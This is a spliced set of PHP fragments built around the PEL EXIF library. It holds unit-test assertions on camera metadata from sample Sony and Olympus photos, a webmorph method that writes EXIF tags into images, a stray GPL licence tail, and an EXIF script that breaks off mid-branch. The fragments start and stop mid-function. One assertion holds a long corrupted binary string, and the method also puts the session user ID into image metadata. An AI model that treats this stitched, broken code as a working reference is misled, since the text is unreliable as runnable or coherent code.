$this->assertEqual($entry->getValue(), 2560);
$this->assertEqual($entry->getText(), '2560');
$entry = $ifd0_0->getEntry(40963);
// PixelYDimension
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1920);
$this->assertEqual($entry->getText(), '1920');
$entry = $ifd0_0->getEntry(41728);
// FileSource
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'DSC');
$entry = $ifd0_0->getEntry(41985);
// CustomRendered
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal process');
$entry = $ifd0_0->getEntry(41986);
// ExposureMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Auto exposure');
$entry = $ifd0_0->getEntry(41987);
// WhiteBalance
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Auto white balance');
$entry = $ifd0_0->getEntry(41988);
// DigitalZoomRatio
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 100, 1 => 100));
$this->assertEqual($entry->getText(), '100/100');
$entry = $ifd0_0->getEntry(41990);
// SceneCaptureType
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Portrait');
$entry = $ifd0_0->getEntry(41991);
// GainControl
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41992);
// Contrast
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41993);
// Saturation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41994);
// Sharpness
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
/* Sub IFDs of $ifd0_0. */
$this->assertEqual(count($ifd0_0->getSubIfds()), 1);
$ifd0_0_0 = $ifd0_0->getSubIfd(4);
// IFD Interoperability
$this->assertIsA($ifd0_0_0, 'PelIfd');
/* Start of IDF $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getEntries()), 2);
$entry = $ifd0_0_0->getEntry(1);
// InteroperabilityIndex
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'R98');
$this->assertEqual($entry->getText(), 'R98');
$entry = $ifd0_0_0->getEntry(2);
// InteroperabilityVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
/* Sub IFDs of $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
$this->assertEqual($ifd0_0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_0_1 = $ifd0_0_0->getNextIfd();
$this->assertNull($ifd0_0_1);
/* End of IFD $ifd0_0_0. */
$this->assertEqual($ifd0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_1 = $ifd0_0->getNextIfd();
$this->assertNull($ifd0_1);
/* End of IFD $ifd0_0. */
$this->assertEqual($ifd0->getThumbnailData(), '');
/* Next IFD. */
$ifd1 = $ifd0->getNextIfd();
$this->assertIsA($ifd1, 'PelIfd');
/* End of IFD $ifd0. */
/* Start of IDF $ifd1. */
$this->assertEqual(count($ifd1->getEntries()), 4);
$entry = $ifd1->getEntry(259);
// Compression
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 6);
$this->assertEqual($entry->getText(), 'JPEG compression');
$entry = $ifd1->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
/* Sub IFDs of $ifd1. */
$this->assertEqual(count($ifd1->getSubIfds()), 0);
$thumb_data = file_get_contents(dirname(__FILE__) . '/olympus-c50z-thumb.jpg');
$this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
/* Next IFD. */
$ifd2 = $ifd1->getNextIfd();
$this->assertNull($ifd2);
/* End of IFD $ifd1. */
private function _addExif($filename)
{
//if ($_SERVER['SERVER_NAME'] == 'test.psychomorph') return true;
try {
$jpeg = new PelJpeg($filename);
if (!($exif = $jpeg->getExif())) {
// Create and add empty Exif data to the image (this throws away any old Exif data in the image).
$exif = new PelExif();
$jpeg->setExif($exif);
}
if (!($tiff = $exif->getTiff())) {
// Create and add TIFF data to the Exif data (Exif data is actually stored in a TIFF format).
$tiff = new PelTiff();
$exif->setTiff($tiff);
}
if (!($ifd0 = $tiff->getIfd())) {
// Create first Image File Directory and associate it with the TIFF data.
$ifd0 = new PelIfd(PelIfd::IFD0);
$tiff->setIfd($ifd0);
}
if (!($exif_ifd = $ifd0->getSubIfd(PelIfd::EXIF))) {
// Create exif Image File Directory and associate it with the TIFF data.
$exif_ifd = new PelIfd(PelIfd::EXIF);
$ifd0->addSubIfd($exif_ifd);
}
if (!($ifd1 = $ifd0->getNextIfd())) {
// thumbnail does not exist
$ifd1 = new PelIfd(1);
$ifd0->setNextIfd($ifd1);
//$original = ImageCreateFromString($jpeg->getBytes()); # create image resource of original
//$thumb = makeThumb($original);
$thumb = $this->_makeThumb($this->getImage());
// start writing output to buffer
ob_start();
// outputs thumb resource contents to buffer
ImageJpeg($thumb);
// create PelDataWindow from buffer thumb contents (and end output to buffer)
$window = new PelDataWindow(ob_get_clean());
if ($window) {
$ifd1->setThumbnail($window);
# set window data as thumbnail in ifd1
}
//imagedestroy($original);
imagedestroy($thumb);
}
$exifdata = array(PelTag::IMAGE_DESCRIPTION => $this->getDescription(), PelTag::COPYRIGHT => "webmorph.org: " . $_SESSION['user_id'] . ': IMG_ID: ', PelTag::USER_COMMENT => $this->_embeddedTem);
foreach ($exifdata as $PelTag => $val) {
if ($PelTag == PelTag::USER_COMMENT) {
if (!($entry = $exif_ifd->getEntry($PelTag))) {
$exif_ifd->addEntry(new PelEntryUserComment($val));
} else {
$entry->setValue($val);
}
} else {
if (!($entry = $ifd0->getEntry($PelTag))) {
$ifd0->addEntry(new PelEntryAscii($PelTag, $val));
} else {
$entry->setValue($val);
}
}
}
$jpeg->saveFile($filename);
return true;
} catch (Exception $e) {
// Handle exception
echo $e;
}
}
function testRead()
{
Pel::clearExceptions();
Pel::setStrictParsing(false);
$jpeg = new PelJpeg(dirname(__FILE__) . '/sony-dsc-v1.jpg');
$exif = $jpeg->getExif();
$this->assertIsA($exif, 'PelExif');
$tiff = $exif->getTiff();
$this->assertIsA($tiff, 'PelTiff');
/* The first IFD. */
$ifd0 = $tiff->getIfd();
$this->assertIsA($ifd0, 'PelIfd');
/* Start of IDF $ifd0. */
$this->assertEqual(count($ifd0->getEntries()), 10);
$entry = $ifd0->getEntry(270);
// ImageDescription
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), ' ');
$this->assertEqual($entry->getText(), ' ');
$entry = $ifd0->getEntry(271);
// Make
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'SONY');
$this->assertEqual($entry->getText(), 'SONY');
$entry = $ifd0->getEntry(272);
// Model
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'DSC-V1');
$this->assertEqual($entry->getText(), 'DSC-V1');
$entry = $ifd0->getEntry(274);
// Orientation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 6);
$this->assertEqual($entry->getText(), 'right - top');
$entry = $ifd0->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd0->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd0->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
$entry = $ifd0->getEntry(306);
// DateTime
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1089482993);
$this->assertEqual($entry->getText(), '2004:07:10 18:09:53');
$entry = $ifd0->getEntry(531);
// YCbCrPositioning
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'co-sited');
$entry = $ifd0->getEntry(50341);
// PrintIM
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), 'PrintIM' . "" . '0250' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '');
$this->assertEqual($entry->getText(), '(undefined)');
/* Sub IFDs of $ifd0. */
$this->assertEqual(count($ifd0->getSubIfds()), 1);
$ifd0_0 = $ifd0->getSubIfd(2);
// IFD Exif
$this->assertIsA($ifd0_0, 'PelIfd');
/* Start of IDF $ifd0_0. */
$this->assertEqual(count($ifd0_0->getEntries()), 26);
$entry = $ifd0_0->getEntry(33434);
// ExposureTime
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 10, 1 => 600));
$this->assertEqual($entry->getText(), '1/60 sec.');
$entry = $ifd0_0->getEntry(33437);
// FNumber
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 32, 1 => 10));
$this->assertEqual($entry->getText(), 'f/3.2');
$entry = $ifd0_0->getEntry(34850);
// ExposureProgram
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Normal program');
$entry = $ifd0_0->getEntry(34855);
// ISOSpeedRatings
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 100);
$this->assertEqual($entry->getText(), '100');
$entry = $ifd0_0->getEntry(36864);
// ExifVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 2.2);
$this->assertEqual($entry->getText(), 'Exif Version 2.2');
$entry = $ifd0_0->getEntry(36867);
// DateTimeOriginal
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1089482993);
$this->assertEqual($entry->getText(), '2004:07:10 18:09:53');
$entry = $ifd0_0->getEntry(36868);
// DateTimeDigitized
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1089482993);
$this->assertEqual($entry->getText(), '2004:07:10 18:09:53');
$entry = $ifd0_0->getEntry(37121);
// ComponentsConfiguration
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '' . "" . '');
$this->assertEqual($entry->getText(), 'Y Cb Cr -');
$entry = $ifd0_0->getEntry(37122);
// CompressedBitsPerPixel
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 2, 1 => 1));
$this->assertEqual($entry->getText(), '2/1');
$entry = $ifd0_0->getEntry(37380);
// ExposureBiasValue
$this->assertIsA($entry, 'PelEntrySRational');
$this->assertEqual($entry->getValue(), array(0 => 7, 1 => 10));
$this->assertEqual($entry->getText(), '+0.7');
$entry = $ifd0_0->getEntry(37381);
// MaxApertureValue
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 48, 1 => 16));
$this->assertEqual($entry->getText(), '48/16');
$entry = $ifd0_0->getEntry(37383);
// MeteringMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Center-Weighted Average');
$entry = $ifd0_0->getEntry(37384);
// LightSource
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Unknown');
$entry = $ifd0_0->getEntry(37385);
// Flash
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 31);
$this->assertEqual($entry->getText(), 'Flash fired, auto mode, return light detected.');
$entry = $ifd0_0->getEntry(37386);
// FocalLength
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 139, 1 => 10));
$this->assertEqual($entry->getText(), '13.9 mm');
$entry = $ifd0_0->getEntry(37500);
// MakerNote
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), 'SONY DSC ' . "" . '' . "" . '' . "" . ' ' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '@' . "" . '' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . 'd' . "" . '' . "" . '�' . "" . 'x' . "" . '' . "" . '' . "" . '~' . "" . '' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '������������������������������������������������' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . ' ' . "" . '' . "" . '' . "" . '' . "" . 'n~�' . "" . '�,' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . ' ' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . ' ' . "" . '�A�' . "" . '' . "" . '' . "" . '' . "" . '' . "" . ' �' . "" . '` �^��J�' . "" . '' . "" . '' . "" . '' . "" . 'J0' . "" . '� J0J�' . "" . 'p' . "" . '' . "" . 'p' . "" . '' . "" . '�' . "" . '^' . "" . '�' . "" . '' . "" . 'V
' . "" . '' . "" . '' . "" . 'c' . "" . '' . "" . '��' . "" . '' . "" . 'Ґ� �' . "" . 'p' . "" . '' . "" . '�' . "" . '�^' . "" . '�o' . "" . '' . "" . '@P' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '�' . "" . '��' . "" . 't��' . "" . '�u=' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '�' . "" . '�tד�g��"0c' . "" . '' . "" . '' . "" . '' . "" . 'ק�!' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '�' . "" . '}' . "" . '(�' . "" . '^' . "" . '' . "" . '�' . "" . '����ד@' . "" . '' . "" . '' . "" . '��sF' . "" . '�' . "" . '�' . "" . '#' . "" . '#' . "" . 'G' . "" . '�' . "" . '' . "" . 'U�$1��ys�y�y��[��}����' . "" . '' . "" . 'i' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '�' . "" . '' . "" . 'G�' . "" . '' . "" . 'j' . "" . ' #' . "" . '^' . "" . '' . "" . '' . "" . 'V' . "" . '��' . "" . '' . "" . '��E�8T' . "" . 'i$� c���#(G�E�!�IX/' . "" . '�F�YZ��' . "" . '�R�nQ������������������������������������������������������� ' . "" . '�ܼ_' . "" . '' . "" . '��Q' . "" . '�' . "" . '�' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '}' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '{' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '�Q' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '��' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '��' . "" . '' . "" . '��' . "" . '' . "" . '͕Q' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '}' . "" . '@' . "" . '' . "" . '' . "" . '' . "" . '�+�G^���� ����^+Vi��ت�`j�SV�V���] ��X^�����W},�$]�^��؏�O}n0(�K}���} �&}Ĉ$��@�}�}�^F@�pD��' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '}' . "" . '^' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '@' . "" . '' . "" . '' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '@' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '}' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '}' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '@C��^����0� 9Eζ1��0$0w0��e' . "" . '�}���C�il���E(�� ܾ[�> ��l5' . "" . '' . "" . '' . "" . '' . "" . 'J"�@�^K����A^�V݊Ci�i[p��' . "" . '����}WV�i���i�V����i#i�����' . "" . '' . "" . '' . "" . '' . "" . '@C}@}T�T��p�^��V��p�p��V
' . "" . '�0c�ؾ[���!ז׆�"�!���t��׳ק' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '');
$this->assertEqual($entry->getText(), '1504 bytes unknown MakerNote data');
$entry = $ifd0_0->getEntry(40960);
// FlashPixVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
$entry = $ifd0_0->getEntry(40961);
// ColorSpace
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'sRGB');
$entry = $ifd0_0->getEntry(40962);
// PixelXDimension
$this->assertIsA($entry, 'PelEntryLong');
$this->assertEqual($entry->getValue(), 640);
$this->assertEqual($entry->getText(), '640');
$entry = $ifd0_0->getEntry(40963);
// PixelYDimension
$this->assertIsA($entry, 'PelEntryLong');
$this->assertEqual($entry->getValue(), 480);
$this->assertEqual($entry->getText(), '480');
$entry = $ifd0_0->getEntry(41728);
// FileSource
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'DSC');
$entry = $ifd0_0->getEntry(41729);
// SceneType
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'Directly photographed');
$entry = $ifd0_0->getEntry(41985);
// CustomRendered
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal process');
$entry = $ifd0_0->getEntry(41986);
// ExposureMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'Manual exposure');
$entry = $ifd0_0->getEntry(41987);
// WhiteBalance
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Auto white balance');
$entry = $ifd0_0->getEntry(41990);
// SceneCaptureType
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Standard');
/* Sub IFDs of $ifd0_0. */
$this->assertEqual(count($ifd0_0->getSubIfds()), 1);
$ifd0_0_0 = $ifd0_0->getSubIfd(4);
// IFD Interoperability
$this->assertIsA($ifd0_0_0, 'PelIfd');
/* Start of IDF $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getEntries()), 2);
$entry = $ifd0_0_0->getEntry(1);
// InteroperabilityIndex
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'R98');
$this->assertEqual($entry->getText(), 'R98');
$entry = $ifd0_0_0->getEntry(2);
// InteroperabilityVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
/* Sub IFDs of $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
$this->assertEqual($ifd0_0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_0_1 = $ifd0_0_0->getNextIfd();
$this->assertNull($ifd0_0_1);
/* End of IFD $ifd0_0_0. */
$this->assertEqual($ifd0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_1 = $ifd0_0->getNextIfd();
$this->assertNull($ifd0_1);
/* End of IFD $ifd0_0. */
$this->assertEqual($ifd0->getThumbnailData(), '');
/* Next IFD. */
$ifd1 = $ifd0->getNextIfd();
$this->assertIsA($ifd1, 'PelIfd');
/* End of IFD $ifd0. */
/* Start of IDF $ifd1. */
$this->assertEqual(count($ifd1->getEntries()), 8);
$entry = $ifd1->getEntry(259);
// Compression
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 6);
$this->assertEqual($entry->getText(), 'JPEG compression');
$entry = $ifd1->getEntry(271);
// Make
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'SONY');
$this->assertEqual($entry->getText(), 'SONY');
$entry = $ifd1->getEntry(272);
// Model
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'DSC-V1');
$this->assertEqual($entry->getText(), 'DSC-V1');
$entry = $ifd1->getEntry(274);
// Orientation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 6);
$this->assertEqual($entry->getText(), 'right - top');
$entry = $ifd1->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
$entry = $ifd1->getEntry(306);
// DateTime
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1089482993);
$this->assertEqual($entry->getText(), '2004:07:10 18:09:53');
/* Sub IFDs of $ifd1. */
$this->assertEqual(count($ifd1->getSubIfds()), 0);
$thumb_data = file_get_contents(dirname(__FILE__) . '/sony-dsc-v1-thumb.jpg');
$this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
/* Next IFD. */
$ifd2 = $ifd1->getNextIfd();
$this->assertNull($ifd2);
/* End of IFD $ifd1. */
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program in the file COPYING; if not, write to the
* Free Software Foundation, Inc., 51 Franklin St, Fifth Floor,
* Boston, MA 02110-1301 USA
*/
require_once '../share/classes/pel-0.9.1/PelDataWindow.php';
require_once '../share/classes/pel-0.9.1/PelJpeg.php';
require_once '../share/classes/pel-0.9.1/PelTiff.php';
$data = new PelDataWindow(file_get_contents($input));
if (PelJpeg::isValid($data)) {
$jpeg = $file = new PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if ($exif == null) {
$exif = new PelExif();
$jpeg->setExif($exif);
$tiff = new PelTiff();
$exif->setTiff($tiff);
} else {
$tiff = $exif->getTiff();
}
} elseif (PelTiff::isValid($data)) {
